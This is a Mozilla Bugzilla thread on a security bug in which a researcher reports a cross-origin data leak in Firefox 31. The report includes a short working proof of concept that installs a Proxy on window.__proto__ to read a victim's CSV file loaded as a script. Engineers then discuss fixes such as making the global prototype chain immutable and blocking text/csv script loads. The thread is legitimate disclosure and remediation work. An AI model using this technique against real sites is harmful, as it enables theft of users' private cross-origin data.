Closed
Bug 1048535
Opened 10 years ago
Closed 8 years ago
Cross-origin info leak: [[get]] calls on global expose text (or CSV) sniffed as JS
Categories
(Core :: JavaScript Engine, defect)
Core
JavaScript Engine
Tracking
()
RESOLVED
FIXED
People
(Reporter: curtisk, Assigned: Waldo)
References
Details
(Keywords: csectype-sop, reporter-external, sec-high, Whiteboard: [reporter-external])
Attachments
(2 files)
27.47 KB,
patch
|
Details | Diff | Splinter Review | |
5.91 KB,
patch
|
Details | Diff | Splinter Review |
Subject: Vulnerability Report: Cross-origin information leak via ECMAScript
harmony proxies
From: "websec02.g02" <websec02.g02@gmail.com>
To: security@mozilla.org
-----//-----
Hello Mozilla security team,
I'd like to submit a vulnerability report.
If you have any questions, please email me.
regards,
------------------------------------------------------------------
TYPES OF ISSUE:
Cross-origin information leak via ECMAScript harmony proxies
PRODUCT & VERSION:
Firefox 31.0 (Windows 7)
DESCRIPTION:
Let's suppose victim's web page serves CSV (or some text-like data).
<!-- ************** http://victim/test.csv ************** -->
<?php
header('Content-Type: text/csv; charset=UTF-8');
header("Content-Disposition: attachment; filename=\"test.csv\"");
?>
foo,bar,123
Attacker's page steal this CSV by utilizing harmony proxy.
<!-- ************** http://attacker/ ************** -->
<body>
<script>
var handler = {
has: function(target, name) {console.log("data=" + name); return true},
get: function(target, name) {return 1}
};
var p = new Proxy({}, handler);
window.__proto__ = p;
</script>
<script src="http://victim/test.csv"></script>
</body>
Attacker's page prints "data=foo" and "data=bar" in the console.
This means the harmony proxy can be used for cross-origin info theft
in certain situations like this one.
CREDIT:
Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
Reporter | ||
Updated•10 years ago
|
Flags: sec-bounty?
Whiteboard: [reporter-external]
Comment 2•10 years ago
|
||
Hrm, this isn't really a problem with proxies per se - you could do it with getters too (via an exhaustive search).
Both Gecko and the spec try to handle this issue in some cases by restricting access to SyntaxErrors thrown for cross-origin scripts (see "originPrincipals" in gecko and "muted error flag" in the spec). But this all assumes that interesting cross-origin data will not be parseable Javascript, and CSV is, unfortunately.
This isn't uniquely a Gecko bug - it affects everyone (including the spec), and I'm very skeptical that there's anything that web browsers can do here.
Flagging a few people for NI who might have thoughts.
Flags: needinfo?(ian)
Flags: needinfo?(ekr)
Flags: needinfo?(bzbarsky)
Updated•10 years ago
|
Flags: needinfo?(ekr) → needinfo?
Updated•10 years ago
|
Flags: needinfo? → needinfo?(abarth-mozilla)
Comment 3•10 years ago
|
||
This issue sounds similar to issues we've had in the past:
1) Literal JSON loaded in the same way used to call script-provided overrides of the Array constructor, resulting in a similar information disclosure. We changed the systems so that it now always calls the built-in array constructor, which doesn't have any observable side effects.
2) E4X has similar information disclosure issues, which has resulted in browser abandoning E4X.
Rather than declaring this issue "not our problem," I'd argue that we should fix the information disclosure. For example, perhaps we should forbid harmony proxies on the global object.
Flags: needinfo?(abarth-mozilla)
Comment 4•10 years ago
|
||
Please take a lock at http://scary.beasts.org/security/CESA-2008-011.html
IMHO, not only syntax errors but also runtime errors such like 'xxxx in undefined' have been considered harmful in cross-origin script situations. Unfortunately the harmony proxy can break this.
> This isn't uniquely a Gecko bug
Right. I sent a similar bug report to another browser vendor too.
Comment 5•10 years ago
|
||
(In reply to Adam Barth from comment #3)
> For example, perhaps we should forbid harmony proxies on the global object.
I assume you mean "on the prototype chain of the global object"?
I'm pretty sure TC39 would throw a fit about that, especially considering that the prototype of Window is already a proxy. It would probably break a lot of existing use-cases for proxies, and it still doesn't address the issue with getters and setters (see comment 2).
Ideally, we could contain this to the special case of cross-origin scripts. What about generalizing the Muted Errors flag to forbid running code (getters, setters, and proxies) when doing global lookups or something?
Flags: needinfo?(jorendorff)
Comment 6•10 years ago
|
||
(In reply to Bobby Holley (:bholley) from comment #5)
> (In reply to Adam Barth from comment #3)
> > For example, perhaps we should forbid harmony proxies on the global object.
>
> I assume you mean "on the prototype chain of the global object"?
>
> I'm pretty sure TC39 would throw a fit about that, especially considering
> that the prototype of Window is already a proxy. It would probably break a
> lot of existing use-cases for proxies, and it still doesn't address the
> issue with getters and setters (see comment 2).
>
As far as ES6 is concerned, it is the implementation that defines whether the global object is an ordinary object or an exotic (eg, Proxy) object and also the shape and nature of the Global Object's [[Prototype]] chain.
From an ES6 perspective it would be perfectly valid for an implementation (eg, the browser platform) to restrict modification of the Global Object's [[Prototype]] chain or to restrict what sort of objects can be placed upon it.
Comment 7•10 years ago
|
||
I like Allen's approach to this problem best. But see also https://bugzilla.mozilla.org/show_bug.cgi?id=471020
Comment 8•10 years ago
|
||
(In reply to Allen Wirfs-Brock from comment #6)
> From an ES6 perspective it would be perfectly valid for an implementation
> (eg, the browser platform) to restrict modification of the Global Object's
> [[Prototype]] chain or to restrict what sort of objects can be placed upon
> it.
That's good to know.
(In reply to Mark S. Miller from comment #7)
> I like Allen's approach to this problem best. But see also
> https://bugzilla.mozilla.org/show_bug.cgi?id=471020
What is Allen's approach? Do you mean disallowing proxies on the global prototype chain?
Comment 9•10 years ago
|
||
(In reply to Bobby Holley (:bholley) from comment #8)
> What is Allen's approach? Do you mean disallowing proxies on the global
> prototype chain?
Yes, that's what I mean. But since writing that, I realize that it doesn't address your point about getters/setters, so that's out.
Comment 10•10 years ago
|
||
(In reply to Takeshi Terada from comment #4)
> > This isn't uniquely a Gecko bug
> Right. I sent a similar bug report to another browser vendor too.
Indeed. How can we arrange to have one joint conversation about this rather than several disjoint ones?
Comment 11•10 years ago
|
||
(In reply to Mark S. Miller from comment #10)
> Indeed. How can we arrange to have one joint conversation about this rather
> than several disjoint ones?
I'm happy to CC all the interested parties on this bug assuming everyone has a BMO account. Travis Leithead doesn't, but we can probably get pretty far with the people already on this bug.
(In reply to Mark S. Miller from comment #9)
> (In reply to Bobby Holley (:bholley) from comment #8)
> > What is Allen's approach? Do you mean disallowing proxies on the global
> > prototype chain?
>
> Yes, that's what I mean. But since writing that, I realize that it doesn't
> address your point about getters/setters, so that's out.
Ok. What about the proposal in comment 5?
Comment 12•10 years ago
|
||
I don't think I understand comment 5. Could you expand on what you have in mind?
Comment 13•10 years ago
|
||
(In reply to Mark S. Miller from comment #12)
> I don't think I understand comment 5. Could you expand on what you have in
> mind?
I'm suggesting that we make the restriction specific to scripts that are loaded cross-origin (similarly to what we already do with the HTML5 "muted errors flag"). For those scripts only, we refuse to run script on bareword global lookups.
The precise details of how that happens are open to discussion. In SpiderMoneky, we'll soon grow the ability to do a stack-scoped "forbid scripts", which we could use for this purpose. Not sure about other engines. I'm happy to do whatever is easiest for everyone.
Comment 14•10 years ago
|
||
This isn't fundamentally that different from the old JSON problem, E4X, or indeed JSONP, right? Basically, an ostensibly non-executable data structure is interpreted as imperative code in a hostile pre-populated environment due to the long-standing bug that we don't perform any content identification (e.g. checking the MIME type or leading signatures) before JS execution.
We can wack-a-mole this particular attack by doing what has been suggested here already (though personally I would disallow it uniformly, not just for cross-origin scripts, just to try to keep the complexity down). There's no good comprehensive solution though, as far as I can tell.
Flags: needinfo?(ian)
Comment 15•10 years ago
|
||
Waldo has been talking about locking down the prototype chain (Object.prototype, GSP, and Window)
Comment 16•10 years ago
|
||
Er, pressed submit too early.
But yeah - this would improve things in some ways, and probably be really nice in general if we can get away with it. I'm pretty sure we can't, but Waldo is more optimistic about it given that IE10 doesn't have mutable __proto__. We're going to try in a separate bug.
This still wouldn't help with the brute-force approach, but it would definitely mitigate the attack.
Comment 17•10 years ago
|
||
> This still wouldn't help with the brute-force approach, but it would definitely mitigate the attack.
But would not https://bugzilla.mozilla.org/show_bug.cgi?id=471020 solve the problem, rather than just mitigating it?
Comment 18•10 years ago
|
||
(In reply to Bobby Holley (:bholley) from comment #16)
> But yeah - this would improve things in some ways, and probably be really
> nice in general if we can get away with it. I'm pretty sure we can't, but
> Waldo is more optimistic about it given that IE10 doesn't have mutable
> __proto__. We're going to try in a separate bug.
I filed bug 1052139 for this.
(In reply to Mark S. Miller from comment #17)
> > This still wouldn't help with the brute-force approach, but it would definitely mitigate the attack.
>
> But would not https://bugzilla.mozilla.org/show_bug.cgi?id=471020 solve the
> problem, rather than just mitigating it?
Only for sites that opt-in, right?
Comment 19•10 years ago
|
||
> Only for sites that opt-in, right?
Yes. Given that all other sites are already vulnerable to this via getters, they already need to opt-in. Mitigating this would only give people a false sense of security. Given that we are not considering any fixes to the problem that don't require an opt-in, we need to emphatically communicate the need to opt-in.
OTOH, if anyone knows of a way to solve the getter problem without an opt-in, ... But please let's avoid pointless mitigations.
Comment 20•10 years ago
|
||
(In reply to Mark S. Miller from comment #19)
> Yes. Given that all other sites are already vulnerable to this via getters,
> they already need to opt-in. Mitigating this would only give people a false
> sense of security.
Only if we communicate it loudly as security feature, which we wouldn't.
> Given that we are not considering any fixes to the
> problem that don't require an opt-in
I don't think we're done brainstorming yet.
> we need to emphatically communicate the need to opt-in.
If we can mitigate effectively before making a bunch of noise, I think we should.
> But please let's avoid pointless mitigations.
Mitigation techniques aren't pointless, especially in cases like this where they may dramatically reduce the scope of the information that might be compromised. The getter approach probably has a pretty low length-limit of the strings that can be stolen in a reasonable amount of time without OOMing.
Another mitigation strategy would be to special case the CSV mimetype and refuse to parse JS that's served with it. Anyone have enough experience to know whether that would be likely to break the web?
Comment 21•10 years ago
|
||
> Another mitigation strategy would be to special case the CSV mimetype and refuse to parse
> JS that's served with it.
How commonly are CSV files actually served with a CSV mimetype? I would expect that to be a bigger hurdle than web breakage.
We _could_ try to define something where if a file parses as a "simple" CSV we simply don't execute it because it should have no side-effects except via effectful getters and proxies. "simple" would mean that the only things between the commas are whitespace, strings, numbers, bareword identifiers.
That wouldn't help cases like:
foo(),bar,123
but I wonder how common those are in practice for CSV...
Flags: needinfo?(bzbarsky)
Comment 22•10 years ago
|
||
Bobby, can you see a path forward here towards getting this bug addressed?
Flags: needinfo?(bobbyholley)
Comment 23•10 years ago
|
||
(In reply to Al Billings [:abillings] from comment #22)
> Bobby, can you see a path forward here towards getting this bug addressed?
If Waldo can get away with bug 1052139, that would solve this issue very nicely.
If not, we should maybe look at comment 21.
Flags: needinfo?(bobbyholley)
Comment 25•10 years ago
|
||
The issue is now public. Any reason to keep this bug report private?
Keywords: csectype-sop
Summary: Cross origin info leak via harmony proxy → Cross-origin info leak: [[get]] calls on global expose text (or CSV) sniffed as JS
Comment 26•10 years ago
|
||
Can we please stop sniffing cross-origin crap as JS? The pile of special cases is getting more and more fragile.
Updated•10 years ago
|
Updated•10 years ago
|
Status: UNCONFIRMED → NEW
Ever confirmed: true
Comment 27•10 years ago
|
||
We can get cross-origin leaks in three ways
Using getters and onerror as an "is this set in the other document?" oracle (afaiu)
and using Proxies, which gives us the whole thing. As long as things stay valid JavaScript identifier.
Considering that Proxies are making it worse for now and that there seems no web compat risk, should we consider disabling them in Firefox for the time being?
This bug is three months old and has been discussed publicly on Twitter (see bug 1099081)
Comment 28•10 years ago
|
||
> Can we please stop sniffing cross-origin crap as JS?
Can we start with some telemetry as to how often this happens in practice?
> should we consider disabling them in Firefox for the time being?
That _might_ be viable for the web, though I doubt your "no web compat risk" analysis, unless you have some actual data.
I doubt it's viable for chrome; we use Proxy in a bunch of places. So do lots of addons.
What _could_ be done is to prevent a proxy being placed on the proto chain of the global. I'm fairly certain there's very little compat risk there, and we're considering that anyway in bug 1052139.
Comment 29•10 years ago
|
||
(In reply to Please do not ask for reviews for a bit [:bz] from comment #28)
> > should we consider disabling them in Firefox for the time being?
>
> That _might_ be viable for the web, though I doubt your "no web compat risk"
> analysis, unless you have some actual data.
>
> I doubt it's viable for chrome; we use Proxy in a bunch of places. So do
> lots of addons.
>
Right. My thinking was that - considering it's an ES6 feature, which not many User Agents support (https://kangax.github.io/compat-table/es6/#Proxy) - we could just disable it.
I did not think this through for non-web use-cases of the feature. Thanks for the clarification.
Comment 30•10 years ago
|
||
(In reply to Please do not ask for reviews for a bit [:bz] from comment #28)
> That _might_ be viable for the web, though I doubt your "no web compat risk"
> analysis, unless you have some actual data.
We don't have telemetry on this, but I very much doubt we could get away with disabling proxies at this point. We've been shipping ES6-style proxies since FF18, and old-style proxies since FF6. I simply cannot imagine that there aren't sites or even frameworks out there that do browser detection and use proxies if running in Firefox.
Comment 31•10 years ago
|
||
Waldo, it looks like some stuff has landed in bug 1052139. Is that enough to fix this issue? Thanks.
Flags: needinfo?(jwalden+bmo)
Assignee | ||
Comment 32•10 years ago
|
||
No. That was merely preparatory work, so that had infrastructure to permit forcing the objects in the global prototype chain to have immutable [[Prototype]]. We need to actually make that adjustment along the chain to have any effect on this. I'll look into that patching now.
Flags: needinfo?(jwalden+bmo)
Comment 33•10 years ago
|
||
waldo, is this still on your todo list?
also looking for recommendations on if we should go ahead and move forward with a bounty for this.
and, third looks like no one responded to jesse on if the bug should be openned up now that the issue has been disclosed.
Assignee: nobody → jwalden+bmo
Comment 34•10 years ago
|
||
Where has this been disclosed?
Comment 35•10 years ago
|
||
In bug 1099081 if nothing else. :(
Comment 36•10 years ago
|
||
I see. Yes, I'd favor opening at this point.
Comment 37•10 years ago
|
||
Any updates here?
Updated•10 years ago
|
Group: core-security, javascript-core-security
Comment 38•10 years ago
|
||
Looks like Chrome fixed this by disabling Harmony proxies, if I'm reading their bug correctly. Their bug has been public since November, FWIW.
Comment 39•10 years ago
|
||
(In reply to Andrew McCreight [:mccr8] from comment #38)
> Looks like Chrome fixed this by disabling Harmony proxies, if I'm reading
> their bug correctly. Their bug has been public since November, FWIW.
Per comment 5, it sounds like that's really just a mitigation strategy.
Comment 40•10 years ago
|
||
sec high bug that's now public. waldo do you have time look at this or can you suggest someone else?
Updated•10 years ago
|
Flags: sec-bounty? → sec-bounty+
Updated•10 years ago
|
Flags: needinfo?(jwalden+bmo)
Assignee | ||
Comment 41•10 years ago
|
||
I've been carrying this patch in my tree for awhile -- it's most of the fix. I haven't had time to drive it in, tho. :-( And it's very unlikely to happen before end of quarter, at least. Maybe after then.
At the time I wrote this, several months ago, this was sufficient to pass JS tests, in terms of updating JS tests for the change. I don't know how many Mochitests and similar would need adjustment to tolerate an immutable prototype chain, but I expect some would. And we still don't necessarily know whether anyone important actually wants to rewrite any of the prototype chain, beyond that.
Flags: needinfo?(jwalden+bmo)
Comment 42•9 years ago
|
||
Jeff, the patch is almost three months old now. Can we get this updated and some kind of fix checked in for this? As a sec-high, it isn't great that this has been hovering about since last year.
Flags: needinfo?(jwalden+bmo)
Assignee | ||
Comment 43•9 years ago
|
||
Yeah, it's on my list to do approximately this week, believe it or not. Now, whether it can *land* and stay turned on in that time is a separate question...
Flags: needinfo?(jwalden+bmo)
Comment 44•9 years ago
|
||
Hi Jeff, Critsmash triage here, any updates on a resolution for this issue?
Flags: needinfo?(jorendorff) → needinfo?(jwalden+bmo)
Assignee | ||
Comment 45•9 years ago
|
||
I've mostly been distracted by things I can *actually* fix in a short period of time, lately. :-( The status on this remains that js/xpconnect/src/Sandbox.cpp has some code that *really really really* doesn't like it when you try to init standard classes too early, as my current patch wants to do. I'm entirely unsure how to work around this, except maybe by adding something truly awful to bootstrapping-y code to just not do the right thing for sandboxes as an awful hack. Still investigating.
Flags: needinfo?(jwalden+bmo)
Assignee | ||
Comment 46•9 years ago
|
||
I should also note, whatever changes I make to JS proxies won't defend against cross-origin CSV/text with sufficiently known/corralled structure -- only against cross-origin CSV with unknown structure, where the set of barenames used in it is unbounded.
The only defense I can imagine against that problem is to require a JS Content-Type on cross-origin script loads. I have even less sense that that might be feasible to ship in any short-ish period of time on the order of a quarter or so. Although perhaps console warnings might at least start getting that problem resolved, with telemetry to follow, and the fix "eventually".
Assignee | ||
Comment 47•9 years ago
|
||
We're closing in on a month since I made every global object's prototype chain immutable in bug 1052139. No complaints yet.
Per comment 46, that change doesn't completely solve this problem. The only true solution is to block cross-origin, mis-typed script loads. Of course this isn't immediately web-shippable, most likely, so we'll have to proceed along the well-worn warn, telemetry, deprecate, remove path. Am I correct in claiming a principals-subsumption check in nsScriptLoader::PrepareLoadedRequest would be the right approach to implementing this?
Flags: needinfo?(bzbarsky)
Comment 48•9 years ago
|
||
> Am I correct in claiming a principals-subsumption check in
> nsScriptLoader::PrepareLoadedRequest would be the right approach to implementing this?
That would work, yes. We could stash the boolean in the nsScriptLoadRequest and remove the existing check in nsScriptLoader::FillCompileOptionsForRequest, using the boolean from the nsScriptLoadRequest instead.
The other fun bit, of course, is getting bug 1052139 standardized..
Flags: needinfo?(bzbarsky)
Comment 49•9 years ago
|
||
The Chromium bug has had some recent activity: "At TC39 this week, we reached consensus on Mozilla's global object proto chain freezing proposal. I have a pull request out against the ECMAScript spec which I expect to be merged in some form soon at https://github.com/tc39/ecma262/pull/308#discussion_r50484415 . Mozilla has already shipped this in Stable with no web compatibility issues. I think we should try to implement this in Chrome soon."
Jeff, does that mean this issue is fixed for us? Thanks.
Flags: needinfo?(jwalden+bmo)
Assignee | ||
Comment 50•9 years ago
|
||
No. That spec change addresses the problem of hoovering up nearly all barename usage in files sniffed as JS. But if you can guess all the barenames that might be used, you can just add global getters that record exactly the names seen, and the order in which they were seen. As long as the cross-origin script runs, there will be issues.
So, then, we need to fix that to really fix this. Comment 46 is the current state of what else needs to be done here -- start adding warnings for cross-origin loads, start doing telemetry to know just how much of a problem there is, get a sense of what MIME types are used for cross-origin loads, maybe restrict cross-origin loads to particular MIME types (and gradually reduce that over time), etc.
Fully prohibiting mis-MIME-typed cross-origin scripts is the only *full* fix here. But the goal stated at that level is a multi-year project on par with enforced mixed content blocking. So incremental steps short of that are where we'll have to keep making progress here.
Flags: needinfo?(jwalden+bmo)
Assignee | ||
Comment 51•9 years ago
|
||
s/sniffed as JS/reinterpret_cast<>ed into JS and then blindly executed/
Comment 52•9 years ago
|
||
Hi Naveed, this sec-high bug is public and is a year and a half old, so maybe you can find some resources to allocate towards it.
Perhaps it could also be split into smaller work items, if it's stalled due to external factors.
Flags: needinfo?(nihsanullah)
Comment 53•9 years ago
|
||
Matt, this is a baked-in problem with the web platform that can't be fixed quickly. I don't think it's a Firefox bug. However, we have been leading the way to fix it. Waldo has landed patches to mitigate the initial reported bug and has presented his approach to the JS standard committee.
Waldo, two questions:
- After freezing the global prototype chain, is the remaining info leak still sec-high?
- Is it still a JS engine bug, or do we need to get more people involved?
I bet we could cheaply sniff for CSV (!) if yet another partial fix would be useful.
Flags: needinfo?(nihsanullah) → needinfo?(jwalden+bmo)
Assignee | ||
Comment 54•9 years ago
|
||
(In reply to Jason Orendorff [:jorendorff] from comment #53)
> Matt, this is a baked-in problem with the web platform that can't be fixed
> quickly. I don't think it's a Firefox bug.
Yes. From comment 50,
"""
Fully prohibiting mis-MIME-typed cross-origin scripts is the only *full* fix here. But the goal stated at that level is a multi-year project on par with enforced mixed content blocking.
"""
> However, we have been leading the
> way to fix it. Waldo has landed patches to mitigate the initial reported bug
> and has presented his approach to the JS standard committee.
All that approach is now in ES7 (or what will be ES7).
> - After freezing the global prototype chain, is the remaining info leak
> still sec-high?
More or less yes. If the sensitive cross-origin CSV has predictable structure, you can keep adding specifically-named getters to the global object (and loading the script repeatedly) until you've worked out the entire set of names in it. It's harder than mutating prototype chain to sniff all names, easily. But bug 1052139 didn't make any data inaccessible, just made it harder to access.
> - Is it still a JS engine bug, or do we need to get more people involved?
I don't think it's a JS engine bug any more. I was planning on adding telemetry and warnings for mistyped cross-origin loads at some point, just because I was already in the area and it would be new code to touch. But I haven't gotten to it yet.
> I bet we could cheaply sniff for CSV (!) if yet another partial fix would be
> useful.
If by "we" it's meant the script-loading code DOM-side, sure. Not running a text/csv script, as a micro-step toward killing mistyped cross-origin scripts, is certainly possible. (Assuming people don't do this on accident much right now. Which they probably don't, but it'd be nice to have telemetry to have a more-informed answer.)
But CSV can be valid JS, so I don't think we can just decide not to execute it.
Flags: needinfo?(jwalden+bmo)
Assignee | ||
Comment 55•9 years ago
|
||
It's perhaps worth noting that I have no idea how common it is for sites to apply text/csv to their CSV data. If a site doesn't use text/csv, just prohibiting text/csv script loads is useless at preventing an attack on them.
Assignee | ||
Comment 56•9 years ago
|
||
Okay, let's do the forbid-cross-origin-text/csv-script thing right now. Word on the street is Chrome does it, so it's probably doable without telemetry supporting it. I'll punt adding warnings and such to another bug.
Comment 57•9 years ago
|
||
(In reply to Jeff Walden [:Waldo] (remove +bmo to email) from comment #56)
> Okay, let's do the forbid-cross-origin-text/csv-script thing right now.
Any progress on that, Jeff?
Comment 58•8 years ago
|
||
Critsmash triage follow up: has there been any movement on addressing this?
Flags: needinfo?(jwalden+bmo)
Comment 59•8 years ago
|
||
I filed https://github.com/whatwg/fetch/issues/337 on blocking text/csv for requests whose type is "script". Per Fetch this is already supposed to happen for image MIME types (bug 1288361), but not yet for text/csv. Telemetry would be useful in making a decision on whether it's feasible (or letting other browsers lead the way).
Assignee | ||
Comment 60•8 years ago
|
||
Finally got back to this somewhat. Here's a *very* strawman patch that reports a warning to the console on an attempt to load a mistyped, cross-origin script. It seems to work, ish, in my testing on this URL:
http://playground.whereswalden.com/cross-origin-script-type/test.html
The patch itself is still somewhat hackish. It works, but it's a little grody.
It's not clear to me that I should *need* to do that work to get a global object and then a principal -- isn't it stored somewhere else that doesn't require the AutoJSAPI and such?
Can I just use |channel| for getting a Content-Type, or is that possibly null? If it's possibly null, does that mean (outside the patch's scope) <script type="module" src="thing-that-produces-null-channel"></script> is a null-deref?
Reporting a *warning* for mistyped modules is dumb, because modules don't run unless nsContentUtils::IsJavascriptMIMEType says yes. It should report an error.
(nsContentUtils::IsJavascriptMIMEType is probably not the right test for whether to load a module -- surely, e.g. text/livescript *shouldn't* be permitted to run as a module?)
Do we want to require telemetry be added at the same time as a warning like this, probably? And then that means figuring out who's going to watch stats for it.
I should also note that bug 1288361 does all this in a completely different way. That way saves on network traffic -- if we see an adverse Content-Type header, we just stop right then and there without loading the entire resource (which could be very big). But it's also not comprehensive, in that it only works on HTTP(S) traffic. Perhaps that's all the web is (is it? I thought ftp was still trundling along as a Thing). But it seems a bit blacklisty, versus whitelisty as we really want here. I dunno whether plugging this patchwork into that framework is desirable or whether we want some level of duplication of effort in forbidding types or warning for them.
Anyway, this is at least sort of a start, even if it's not in landable shape yet (at least partially because I'm not sure what we *want* to land).
Also, given the effort to enforce MIME types here is probably going to be a slog, we may want to have sub-bugs for warnings, telemetry, blocking particular MIME types or categories of them, etc. and make this a meta-bug. It's a bit long in the tooth now, IMO. But it depends exactly what we want to do for this, and what must be done as atomic steps, which requires answers to some of the musings above.
Flags: needinfo?(jwalden+bmo)
Comment 61•8 years ago
|
||
> It's not clear to me that I should *need* to do that work to get a global object and then a principal
You don't. You have an nsIScriptGlobalObject; just call PrincipalOrNull() on it.
> Can I just use |channel| for getting a Content-Type, or is that possibly null?
I would never expect |channel| to be null here.
That said, for non-HTTP channels we'd have to check what types we can end up with; it would be annoying to fail file:// script loads because the OS has a bad MIME association or something.
> surely, e.g. text/livescript *shouldn't* be permitted to run as a module?
What does the spec say?
Comment 62•8 years ago
|
||
Jeff, you should coordinate with Christoph who is doing very similar things in the bug I pointed to; bug 1288361.
> What does the spec say?
That text/livescript is a JavaScript MIME type and therefore fine. (I really don't think we should try to bikeshed the list of JavaScript MIME types for modules. Either we follow the TC39 narrative that JavaScript and JavaScript modules are the same, or we give modules a new MIME type and require that, but that would hurt adoption so much it'd never fly.)
Comment 63•8 years ago
|
||
I think we can close this bug now, Waldo made the proto chain immutable (bug 1052139) and I disabled loading of scripts with the MIME type `text/csv` (bug 1299267).
Comment 64•8 years ago
|
||
Jeff, do you agree that we can close this now, per comment 63? Thanks.
Flags: needinfo?(jwalden+bmo)
Assignee | ||
Comment 65•8 years ago
|
||
Anyone that sends mis-tagged CSV, or untagged CSV, is still vulnerable here. That's probably going to be addressed in a long tail of gradual blockings of more and more MIME types, coupled with existing types getting console warnings. Bug 1333995 is merely the (second) step along that tail, but surely we need more steps to kill off (for sure) text/plain and others. So the overall issue of this bug remains, just for fewer and fewer types.
At the same time, it probably isn't worth piling onto this bug, given its length, and just stringing along bug 1333995 and followups to it until we get to the point where script loads are strictly typed is a more effective approach to solving the big problem.
Flags: needinfo?(jwalden+bmo)
Comment 66•8 years ago
|
||
(In reply to Jeff Walden [:Waldo] (remove +bmo to email) from comment #65)
> At the same time, it probably isn't worth piling onto this bug, given its
> length, and just stringing along bug 1333995 and followups to it until we
> get to the point where script loads are strictly typed is a more effective
> approach to solving the big problem.
Status: NEW → RESOLVED
Closed: 8 years ago
Resolution: --- → FIXED
Updated•4 months ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•